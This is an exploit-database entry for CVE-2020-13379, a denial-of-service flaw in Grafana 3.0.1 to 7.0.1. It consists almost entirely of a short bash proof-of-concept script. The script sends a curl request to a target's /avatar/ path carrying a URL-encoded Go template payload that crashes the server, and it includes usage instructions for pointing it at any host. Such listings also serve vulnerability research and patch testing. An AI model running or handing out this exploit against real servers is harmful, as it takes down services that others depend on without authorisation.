Grafana 7.0.1 - Denial of Service Exploit

2020-07-07T00:00:00
ID 1337DAY-ID-34640
Type zdt
Reporter mostwanted002
Modified 2020-07-07T00:00:00

Description

Exploit for linux platform in category dos / poc

                                        
                                            # Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi

#  0day.today [2020-07-19]  #